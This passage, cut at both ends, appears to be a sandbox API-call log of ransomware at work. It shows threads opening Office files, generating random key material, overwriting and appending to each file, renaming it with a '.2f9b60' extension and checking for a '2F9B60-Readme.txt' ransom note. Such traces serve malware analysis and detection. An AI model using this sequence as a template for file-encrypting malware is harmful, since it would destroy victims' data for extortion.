BaseAddress=0x431097a0) returned 1 [0219.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce16a80) returned 1 Thread: id = 3676 os_tid = 0x147c [0218.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x43109850 [0218.287] wcscpy (in: _Dest=0x43109850, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" [0218.287] wcscat (in: _Dest=0x43109850, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\" [0218.287] wcscat (in: _Dest=0x43109850, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*" [0218.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1dd20 [0218.287] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*", lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d370 [0219.892] wcscmp (_String1=".", _String2=".") returned 0 [0219.892] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.892] wcscmp (_String1="..", _String2=".") returned 1 [0219.892] wcscmp (_String1="..", _String2="..") returned 0 [0219.892] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.892] FindClose (in: hFindFile=0x1cd9d370 | out: hFindFile=0x1cd9d370) returned 1 [0219.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1dd20) returned 1 [0219.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43109850) returned 1 [0219.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce16b30) returned 1 Thread: id = 3677 os_tid = 0x14bc [0218.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimagesmask.bmp")) returned 0x20 [0218.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp", dwFileAttributes=0x20) returned 1 [0218.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2ee0 [0218.298] GetFileSizeEx (in: hFile=0x2ee0, lpFileSize=0x21d0f7e0 | out: lpFileSize=0x21d0f7e0*=3128) returned 1 [0218.298] SetFilePointerEx (in: hFile=0x2ee0, liDistanceToMove=0xc34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.298] ReadFile (in: hFile=0x2ee0, lpBuffer=0x21d0f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21d0f7a8, lpOverlapped=0x0 | out: lpBuffer=0x21d0f760*, lpNumberOfBytesRead=0x21d0f7a8*=0x4, lpOverlapped=0x0) returned 1 [0218.902] SetFilePointerEx (in: hFile=0x2ee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202645f0 [0219.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202657c0 [0219.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267470 [0219.339] NtQuerySystemTime (in: CurrentTime=0x21d0f6a0 | out: CurrentTime=0x21d0f6a0*=132462178233370000) returned 0x0 [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x314a355f [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x2a21c06f [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x2efe0499 [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x1188e62a [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x4e92c478 [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x43129a6d [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x70c54bbb [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x6c0f11d8 [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x66b42ef7 [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x140f1b9c [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x2df32431 [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x2b8bde8a [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x4fdddc75 [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x372289b6 [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x4611b3d0 [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0xa76231c [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x6172c603 [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x48eefc1 [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x15a2153d [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x1efc27eb [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x8c83f0f [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x2c4b389c [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x6cb8962a [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x4dcd365c [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x651b205a [0219.339] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x62b604c5 [0219.340] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x1a67ca32 [0219.340] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x6417b961 [0219.340] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x145c2b0a [0219.340] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x6853754b [0219.340] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x1184f90d [0219.340] RtlRandomEx (in: Seed=0x21d0f690 | out: Seed=0x21d0f690) returned 0x6e1b6f79 [0219.347] ReadFile (in: hFile=0x2ee0, lpBuffer=0x41cdb4e0, nNumberOfBytesToRead=0xc38, lpNumberOfBytesRead=0x21d0f690, lpOverlapped=0x0 | out: lpBuffer=0x41cdb4e0*, lpNumberOfBytesRead=0x21d0f690*=0xc38, lpOverlapped=0x0) returned 1 [0219.347] SetFilePointerEx (in: hFile=0x2ee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.347] WriteFile (in: hFile=0x2ee0, lpBuffer=0x41cfd170*, nNumberOfBytesToWrite=0xc38, lpNumberOfBytesWritten=0x21d0f694, lpOverlapped=0x0 | out: lpBuffer=0x41cfd170*, lpNumberOfBytesWritten=0x21d0f694*=0xc38, lpOverlapped=0x0) returned 1 [0222.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e0e0 [0222.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ddb0 [0222.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ddb0) returned 1 [0222.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cfd170) returned 1 [0222.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cdb4e0) returned 1 [0222.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0222.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62730) returned 1 [0222.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9ce50 [0222.362] SetFilePointerEx (in: hFile=0x2ee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0222.362] WriteFile (in: hFile=0x2ee0, lpBuffer=0x188850*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x21d0f7b0, lpOverlapped=0x0 | out: lpBuffer=0x188850*, lpNumberOfBytesWritten=0x21d0f7b0*=0x12e, lpOverlapped=0x0) returned 1 [0223.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188850) returned 1 [0223.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c610) returned 1 [0223.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ddb0) returned 1 [0223.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ce50) returned 1 [0223.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e0e0) returned 1 [0223.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202657c0) returned 1 [0223.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0223.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267620) returned 1 [0223.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b78fc80 [0223.545] wcscpy (in: _Dest=0x1b78fc80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp" [0223.545] wcscat (in: _Dest=0x1b78fc80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp.2f9b60" [0223.545] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp.2f9b60", NtPathName=0x21d0f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0223.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x431a9a40 [0225.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a9a40) returned 1 [0225.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b2000) returned 1 [0225.037] NtQueryInformationFile (in: FileHandle=0x2ee0, IoStatusBlock=0x21d0f838, FileInformation=0x21d0f848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21d0f838, FileInformation=0x21d0f848) returned 0x0 [0225.037] NtSetInformationFile (FileHandle=0x2ee0, IoStatusBlock=0x21d0f838, FileInformation=0x21d0f848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78fc80) returned 1 [0225.464] FlushFileBuffers (hFile=0x2ee0) returned 1 [0225.554] CloseHandle (hObject=0x2ee0) returned 1 [0226.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x431130e0 [0226.012] wcscpy (in: _Dest=0x431130e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\" [0226.012] wcscat (in: _Dest=0x431130e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\2F9B60-Readme.txt" [0226.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\2f9b60-readme.txt")) returned 0x20 [0226.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431130e0) returned 1 [0226.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb54e0) returned 1 Thread: id = 3678 os_tid = 0x16e0 [0218.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendarviewbuttonimages.jpg")) returned 0x20 [0218.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg", dwFileAttributes=0x20) returned 1 [0218.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendarviewbuttonimages.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e30 [0218.302] GetFileSizeEx (in: hFile=0x1e30, lpFileSize=0x2456f880 | out: lpFileSize=0x2456f880*=16290) returned 1 [0218.302] SetFilePointerEx (in: hFile=0x1e30, liDistanceToMove=0x3f9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.302] ReadFile (in: hFile=0x1e30, lpBuffer=0x2456f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2456f848, lpOverlapped=0x0 | out: lpBuffer=0x2456f800*, lpNumberOfBytesRead=0x2456f848*=0x4, lpOverlapped=0x0) returned 1 [0219.367] SetFilePointerEx (in: hFile=0x1e30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9ad0 [0219.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaeb0 [0219.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddae20 [0219.368] NtQuerySystemTime (in: CurrentTime=0x2456f740 | out: CurrentTime=0x2456f740*=132462178233682000) returned 0x0 [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x495458c3 [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x7c0b759b [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x5e710ca8 [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x7ac0d49d [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x732ee0ee [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x7922d41 [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x1efc27eb [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x43b187ca [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x6d5dfb8d [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x7ce17b29 [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x40d6a3b5 [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x2706c154 [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x2f17cfd4 [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x70c54bbb [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x6312bfa8 [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x1b1d3598 [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x4e9e0e08 [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x38d61090 [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0xf33a9dc [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x15a2153d [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x66c048a2 [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x2144d4b2 [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x467ae451 [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x6e5e0e49 [0219.368] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x1e148de3 [0219.369] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x7e985d45 [0219.369] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x5707d88a [0219.369] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x4e4dc09c [0219.369] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x42122932 [0219.369] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x65adb703 [0219.369] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x56de80d1 [0219.369] RtlRandomEx (in: Seed=0x2456f730 | out: Seed=0x2456f730) returned 0x4754b257 [0219.533] SetFilePointerEx (in: hFile=0x1e30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.533] ReadFile (in: hFile=0x1e30, lpBuffer=0x42852670, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2456f7a0, lpOverlapped=0x0 | out: lpBuffer=0x42852670*, lpNumberOfBytesRead=0x2456f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0219.859] SetFilePointerEx (in: hFile=0x1e30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62870 [0219.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0219.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe170 [0219.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe170) returned 1 [0219.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423c8970 [0219.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe170 [0219.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe3e0 [0219.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe3e0) returned 1 [0219.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0219.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62870) returned 1 [0219.863] WriteFile (in: hFile=0x1e30, lpBuffer=0x423c8970*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2456f7a0, lpOverlapped=0x0 | out: lpBuffer=0x423c8970*, lpNumberOfBytesWritten=0x2456f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0234.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423c8970) returned 1 [0234.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42852670) returned 1 [0234.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1ce62320 [0234.827] SetFilePointerEx (in: hFile=0x1e30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.828] WriteFile (in: hFile=0x1e30, lpBuffer=0x188e90*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x2456f850, lpOverlapped=0x0 | out: lpBuffer=0x188e90*, lpNumberOfBytesWritten=0x2456f850*=0x12a, lpOverlapped=0x0) returned 1 [0236.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188e90) returned 1 [0236.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62910) returned 1 [0236.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4720) returned 1 [0236.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62320) returned 1 [0236.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe170) returned 1 [0236.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddaeb0) returned 1 [0236.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8608a0) returned 1 [0236.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8607e0) returned 1 [0236.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe6) returned 0x423aba00 [0236.509] wcscpy (in: _Dest=0x423aba00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg" [0236.509] wcscat (in: _Dest=0x423aba00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg.2f9b60" [0236.509] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg.2f9b60", NtPathName=0x2456f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x169f70 [0236.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169f70) returned 1 [0236.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ac970) returned 1 [0236.929] NtQueryInformationFile (in: FileHandle=0x1e30, IoStatusBlock=0x2456f8d8, FileInformation=0x2456f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2456f8d8, FileInformation=0x2456f8e8) returned 0x0 [0236.929] NtSetInformationFile (FileHandle=0x1e30, IoStatusBlock=0x2456f8d8, FileInformation=0x2456f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aba00) returned 1 [0237.025] FlushFileBuffers (hFile=0x1e30) returned 1 [0238.195] CloseHandle (hObject=0x1e30) returned 1 [0241.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310e600 [0241.246] wcscpy (in: _Dest=0x4310e600, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\" [0241.247] wcscat (in: _Dest=0x4310e600, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\2F9B60-Readme.txt" [0241.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 